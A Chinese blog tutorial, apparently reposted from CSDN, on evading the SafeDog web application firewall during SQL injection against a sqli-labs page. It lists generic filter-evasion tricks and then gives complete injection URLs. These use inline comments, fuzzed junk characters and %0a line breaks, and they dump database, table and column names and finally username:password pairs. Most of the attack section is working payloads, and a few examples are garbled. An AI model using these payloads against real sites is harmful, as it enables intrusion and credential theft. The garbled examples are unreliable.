SQL注入绕过安全狗

常规的几种绕过方式:

1. 大小写绕过:

如果程序中设置了过滤关键字,但是程序只是对 and ,AND 或者 or,OR 设置了关键字过滤,那么你就可以使用大小写过滤

例如 :and,or

当然不局限于 and,其它的例如 union 一些关键字如果只是设置了关键字过滤,没有进行深度过滤的话,都是可以使用大小写过滤的

2. 双写绕过:在程序中对某一个关键字例如

union 设置了过滤清空,那么此时你就可以用

UniunionOn 这么一来,就可以实现绕过

当然你是可以结合大小写绕过进行编写的

select id=1 Uniutionon from 

3. 编码绕过:通过 url 编码将语句或关键字进行编码

4. 内联注释绕过:

在 mysql 中,内联注释里的 Sql 语句是会被执行的,语法如下:等价于 select * from users

/*!SELECT*/ * FROM users 

如果在 /*!SELECT*/ 中里面不加 ! ,则 /*SELECT*/ 会以注释的形式存在,这时 select 将不会被当成语句执行,会出现语法错误

/*Select*/ From Users 

报错如下所示:

使用该内连接进行绕过的时候,也是可以结合之前的大小写以及双写进行绕过的,结合实际情况进行选择

安全狗的详细绕过:

这里我们以安全狗作为案例,如果你按照常规方法输入 and,那么它会对这个进行一个过滤,从而出现如下界面

1. 安全狗 and 的绕过(防止 and 和 or 的注入):

将 and 修改为 /*!12345and*/

注意12345是任意的五位数字,五位!(通常4-6位数字)

然后通过 burp 进行拦截,然后发送到 intruder 模块

然后我们需要先点击 clear,然后选中 12345 点击 add

然后即可进行爆破

然后就是找特征值,例如 14414 即为我们的 payload

http://security/Less-1/?id=2' /*14414and*/ 1=1 -- 1 

and 绕过使用 /*!12345*/

另外 12345 这几个数字是随机的,位数推荐 4-6 位

2. 安全狗 order by 的绕过(防止 ordery by 函数的利用):

当你的 get 请求 order by 如果是一起出现的时候,则会出现安全狗警告,这个时候你可以在 order 和 by 之间添加一些字符,(还是 4-6 位)触发页面如下:

order /*特殊符号*/ by

注意这里我们不用加上 !,因为我们是添加干扰字符

这里和上面 and 或者 or 绕过的方式不同的是,这里我们采用的是 在 order 和 by 之间添加干扰字符,而不是数字,从而实现绕 过

推荐使用的特殊字符:/$%^&*

同样的原理,对其进行爆破之后,得到 payload 为 //%$

 http://security/Less-1/?id=2' order /*//%$*/ by 1 -- 1

3. 安全狗 select union 的绕过(防止联合查询 union):

select 和 union 放在一起的时候会触发

跟上面那个 order by 放在一起会触发一样的绕过道理,不过 select union 需要我们再次通过 burp 进行 fuzz

既然一样的绕过方式,那么 select /*/$%^*/ union 也是一样的方式,抓包,然后去 fuzz

http://security/Less-1/?id=-2' union /*/$%^*/ select 1,2,3 -- 1 

上面我们介绍的是 and ,or,以及 select union 联合查询的绕过, 但是这是远远不够的,我们重点应该是放在如何绕过,从而查询数据

4. 查询数据的绕过:

database()的绕过:

database 和 ()放在一起的时候会触发 waf

因此在 database 和 ()之间添加干扰符即可

这里的干扰符是

查询库的绕过语句:

 http://security/Less-1/?id=-2' union /*/$%^*/ select 1,database/**/(),3 -- 1 

查询到对应的数据库为 security,接下来就是查询表

查询表的绕过:

第一个绕过点 information_schema.tables

waf 会对后面那个 tables 进行拦截,要想绕过,需改成

information_schema./*tables*/

第二个绕过点from 和 information_schema./*tables*/

当这两个放在一起的时候就会触发 waf,尽管 information_schema./*table*/ 进行了绕过,但是还是会触发 waf

这里我们就要对 from 和 information.schema./*!tables*/ 之间进行处理了

 http://security/Less-1/?id=-2' union /*/$%^*/ select 1,
group_concat(table_name),3 from --+ /*%/ %0a information_schema./*!tables*/ -- 1 

绕过过程:首先在 union 和 select 之间放干扰符号,然后在 from 和 information_schema 之间放 --+以及正确的干扰符,然后通过 %0a 进行换行,最后把 information_schema.tables 中 tables 通过内联的方式进行绕过修改为 information_schema./*!tables*/

这里我们可以看到,数据全部都被取出来了,但是还有一个局限的点,这里我们没有通过 where 去指定对应的数据库,where table_name = security,因此它会查询出所有库里面的数据,因此我们还需要指出对应的库名才行

但是这里它又会出现 waf 拦截,因为 information_schema 和 where 出现在了一起,因此又需要在中间添加干扰符,在 information_schema./*!tables*/ /*干扰符*/ where 去进行 fuzz 测试

 http://security/Less-1/?id=-2' union /*/$%^*/ select 1,group_concat(table_name),3 
from --+/*%/ %0a information_schema./*!tables*/ /**/ 
where table_schema='security' -- 1

从而获取到 security 库所有的表名:

接下来就是获取 security 对应表下的所有列名

无非多添加了一个 and,and 采用内联的方式进行绕过

http://security/Less-1/?id=-2' union 
/*/$%^*/ select 1,group_concat(column_name),3 
from -- +/*%/ %0a information_schema./*!columns*/
/**/ where table_schema='security' /*!12441and*/ table_name='users' -- 1

查询数据的绕过:

http://security/Less-1/?id=-2' union 
/*/$%^*/ select 1,group_concat(username,0x3a,password),3 from /**/  users  -- + 

完美绕过安全狗

猜你喜欢

转载自blog.csdn.net/blackguest07/article/details/128660935